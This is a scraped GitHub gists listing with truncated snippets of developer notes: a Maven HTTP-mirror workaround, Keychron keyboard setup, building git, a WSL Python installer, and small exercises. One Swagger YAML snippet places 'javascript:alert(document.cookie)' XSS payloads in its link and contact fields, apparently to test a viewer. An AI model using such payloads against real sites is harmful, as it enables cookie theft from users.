Skip to content

Instantly share code, notes, and snippets.

@EduardoThums
EduardoThums / maven-3.8.1-blocked-mirror.md
Created May 19, 2023 14:17 — forked from vegaasen/maven-3.8.1-blocked-mirror.md
Maven 3.8.1 blocked mirror for internal repositories

Maven 3.8.1 blocked mirrors "fix"

This is not a fix, but a workaround for repositories not on HTTPS yet. Use with caution.

Error

[ERROR] (...) Could not transfer artifact no.whatever:whatever-client:pom:3.1 from/to maven-default-http-blocker (http://0.0.0.0/): Blocked mirror for repositories: [releases (http://unportected.com/nexus/content/repositories/releases, defaul)] -> [Help 1]
@EduardoThums
EduardoThums / keychron_linux.md
Created May 1, 2023 21:57 — forked from andrebrait/keychron_linux.md
Keychron keyboards on Linux + Bluetooth fixes

Here is the best setup (I think so :D) for K-series Keychron keyboards on Linux.

Most of these commands have been tested on Ubuntu 20.04 and should also work on most Debian-based distributions. If a command happens not to work for you, take a look in the comment section.

Make Fn + F-keys work

Keychron Keyboards on Linux use the hid_apple driver (even in Windows/Android mode), both in Bluetooth and Wired modes. By default, this driver uses the F-keys as multimedia shortcuts and you have to press Fn + the key to get the usual F1 through F12 keys.

@EduardoThums
EduardoThums / build-git.md
Created March 29, 2023 01:00 — forked from egorsmkv/build-git.md
Build git from source code on CentOS 7

Build git from source code

1) Go to https://git-scm.com/ and check out the latest version of Git

Currently, the latest version is 2.18.0. Download and extract it and go to the folder of the source code:

wget https://mirrors.edge.kernel.org/pub/software/scm/git/git-2.18.0.tar.gz
tar xf git-2.18.0.tar.gz
cd git-2.18.0/
# Commands taken from https://learn.microsoft.com/en-us/windows-server/administration/openssh/openssh_install_firstuse?tabs=powershell
Get-WindowsCapability -Online | Where-Object Name -like 'OpenSSH*'
Add-WindowsCapability -Online -Name OpenSSH.Client~~~~0.0.1.0
Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0
Start-Service sshd
@EduardoThums
EduardoThums / script.sh
Last active November 8, 2022 17:55
Python installer script to WSL
#!/usr/bin/env bash
#
# Script to install python at a WSL machine.
#
# usage: bash <$(curl -Ls https://gist.githubusercontent.com/EduardoThums/35b8bd955601a2d8d6db5d9b8820d7e4/raw/script.sh)
PYTHON_VERSION="3.7.15"
echo "##########################################"
echo "# Python installer on WLS "
swagger: "2.0",
info:
title: "Swagger Sample App",
description: "Please to click Terms of service"
termsOfService: "javascript:alert(document.cookie)"
contact:
name: "API Support",
url: "javascript:alert(document.cookie)",
email: "javascript:alert(document.cookie)"
version: "1.0.1"
@EduardoThums
EduardoThums / normalize.sh
Created January 31, 2022 00:36
Normalize MP4 files to a more human readable format.
#!/bin/bash
RENAME_FOR_REAL=$1
SAVEIFS=$IFS
IFS=$(echo -en "\n\b")
for f in *.mp4
do
new_file=$(echo $f | grep --ignore-case -E 'ep-[0-9]*' -o | tr '[:upper:]' '[:lower:]')
echo "Renaming '$f' to '$new_file'"
string = 'ydonoaT4ethh1tpStefeo1e30brmKuinor7saighsgndareanwsaretr-n-aatrsityangdaalunopelaTmltwhnsirexptecoonuaoYibteceorrtedpuaet13nhoOocthft1e30broaBck(l7aiy)rdFodnvncadtasceitriceehrobeyusinngogllniqadssdseiauncfisoteadTctsyraleohbaerhmcesntasheadlelsrtstteealdmalotiransiovffietweitcsichhatehoeopgtretmonhennotadnrfeteobrmnieohtohegfnOtct3h11e30brotnosad7tilyrctolwtolfsitrenhotnsciuaninotctthedoeIrfyodwifltuaoyrouamoveesslreewihrtabnulelcredpendtwaneeaorrefv-t-assektecdanfeyoroalsvereufnaiadstoountleestdrneaoumtileorwlrznedaigclefoipTchereoaplsoePlinowlokayobctlhipPiuaVsdIhpoepevleoiwnhsdtregtasiellhwyhtePutpnedepuosrsuperwHileerehattrlstplnoeaFnctriucrcsheinnsadhtgeaiateossrcpetgrnhosnofudotriceehhneeitstnhaetvPhoptetlastfieciondsoenhiiutpuorspsyooufrtnloteyRethenhooothpfl-spur-erofayutnhthtiiawleonesnsaterymoudandobeLrrytouihw'
def split_string(string, split_string):
return [string[i:i+split_string] for i in range(0, len(string), split_string)]
decrypted_text = ''
# FOUND KEY: 6415023
for block i
DEFAULT_ASCII_TRUCK = """
__________________________________________________________
| |
/ | |
/---, | |
-----# ==| |{row_2}|
| :) # ==| |{row_1}|
-----'----# | |_________________________________________________________|
|)___() '# |______====____ \___________________________________|
[_/,-,\"--"------ //,-, ,-,\\\ |/ //,-, ,-, ,-,\\ __#
@EduardoThums
EduardoThums / exchanger.py
Last active March 5, 2021 03:31
Exchange calculator based on given value
"""
Você precisa simular o funcionamento de um caixa eletrônico.
O cliente informa um valor desejado em reais e você precisa devolver o número de notas de R$ 100, R$ 50, R$ 20, R$ 10, R$ 5, R$ 2 ou moedas de R$ 1 que ele receberá.
Você precisa entregar o maiornúmero possível de notas altas primeiro, antes de entregar notas de valor mais baixo.
Descreva os passos necessários para descobrir quantas notas de cada valor devem ser entregues ao cliente.
Se o cliente solicitar, por exemplo,197 reais, você deve entregar uma nota de cem reais, uma nota de cinquenta reais,
duas notas de vinte reais, uma de cinco reais e uma de dois reais.
"""
from sys import exit